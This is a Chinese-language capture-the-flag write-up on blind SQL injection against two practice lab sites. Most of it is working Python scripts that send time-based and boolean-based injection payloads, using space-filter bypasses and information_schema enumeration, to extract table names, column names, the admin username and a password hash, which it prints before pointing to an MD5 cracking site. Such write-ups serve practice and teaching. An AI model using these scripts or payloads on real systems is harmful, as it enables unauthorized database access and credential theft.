最近看了一些盲注习题,在这里想总结一下吧。
盲注其实可以代替任何注入,但基本的注入比盲注简单。在这里我先解析几道盲注的习题。
Simple Injection
1. 首先用wvs扫描器扫描网站
发现了sql盲注漏洞 并且是sleep注入
2. 利用给出的payload初步尝试
/*'XOR(if(1,sleep(2),0))OR'*/
确实有延迟效果,那么下面就是写代码了
3. 利用sleep延迟注入,编写python脚本
首先得到数据表名(注意有空格过滤)
首先得到数据表名(注意有空格过滤)
利用此代码爆破数据表名
# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for j in dic:
id="/*'XOR(if(ord((select/**/substr(table_name,{0},1)/**/from/**/information_schema.tables/*!where*/table_schema=database()))={1},sleep(3),0))OR'*/".format(str(i),ord(j))
data={
'username':id,
'password': 1
}
print j
s=requests.post(url=url,data=data)
sec=s.elapsed.seconds
if sec > 2:
string+=j
break
print string
接着要利用此代码爆破 字段名称
# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for j in dic:
id="/*'XOR(if(ord((select/**/substr(group_concat(column_name),{0},1)/**/from/**/information_schema.columns/*!where*/table_name='admin'/**/limit/**/1))={1},sleep(3),0))OR'*/".format(str(i),ord(j))
data={
'username':id,
'password': 1
}
print j
s=requests.post(url=url,data=data)
sec=s.elapsed.seconds
if sec > 2:
string+=j
break
print string
利用上面爆出来的字段名称爆字段内容
将/*'XOR(if(1,sleep(ord(substr(password,{0},1))-47),0))OR'*/作为payload
代码如下
# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
for i in range(1,5):
id="/*'XOR(if(1,sleep(ord(substr(username,{0},1))-97),0))OR'*/".format(str(i))
data={
'username':id,
'password': 1
}
s=requests.post(url=url,data=data)
sec=s.elapsed.seconds
string+=chr(97+int(sec))
print string
结果为admin
再替换payload变为
/*'XOR(if(1,sleep(ord(substr(password,{0},1))-47),0))OR'*/
就可以爆出密码了
爆出的密码为334cfb59c9d74849801d5acdcfdaadc3
或者利用以下代码进行暴库也可以
# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for j in dic:
id="/*'XOR(if(ord(substr(password,{0},1))>{1},sleep(3),0))OR'*/".format(str(i),ord(j))
data={
'username':id,
'password': 1
}
s=requests.post(url=url,data=data)
sec=s.elapsed.seconds
if sec < 2:
string+=j
break
print string
后面就不写了
推荐一个md5解码网站
注入关 2
这道题我把他强行转化为盲注的题目来练手^_^.首先找到盲注的条件
当id=1 and 1=2时
文段中没有显示任何东西
当id=1时
文段中有显示
满足盲注条件
爆数据表
import requests
cookies={
'PHPSESSID': '944d46747cd9059f63dc2e103b2fe31a'
}
dic='3_abcdefghijklmnopqrstuvwxyz'
string = ''
for i in range(1,33):
for j in dic:
url='http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and ord((select substr(table_name,{0},1) from information_schema.tables where table_schema=database())) = {1}'.format(str(i),ord(j))
s=requests.get(url=url , cookies=cookies)
content=s.content
length=len(content)
print length
if length > 400 :
string+=j
break
print string
爆字段名称
import requests
cookies={
'PHPSESSID': '944d46747cd9059f63dc2e103b2fe31a'
}
dic='3_abcdefghijklmnopqrstuvwxyz'
string = ''
for i in range(1,33):
for j in dic:
url='http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and ord((select substr(group_concat(column_name),{0},1) from information_schema.columns where table_name="sae_user_sqli3")) = {1}'.format(str(i),ord(j))
s=requests.get(url=url , cookies=cookies)
content=s.content
length=len(content)
print length
if length > 400 :
string+=j
break
print string
idtitlecontent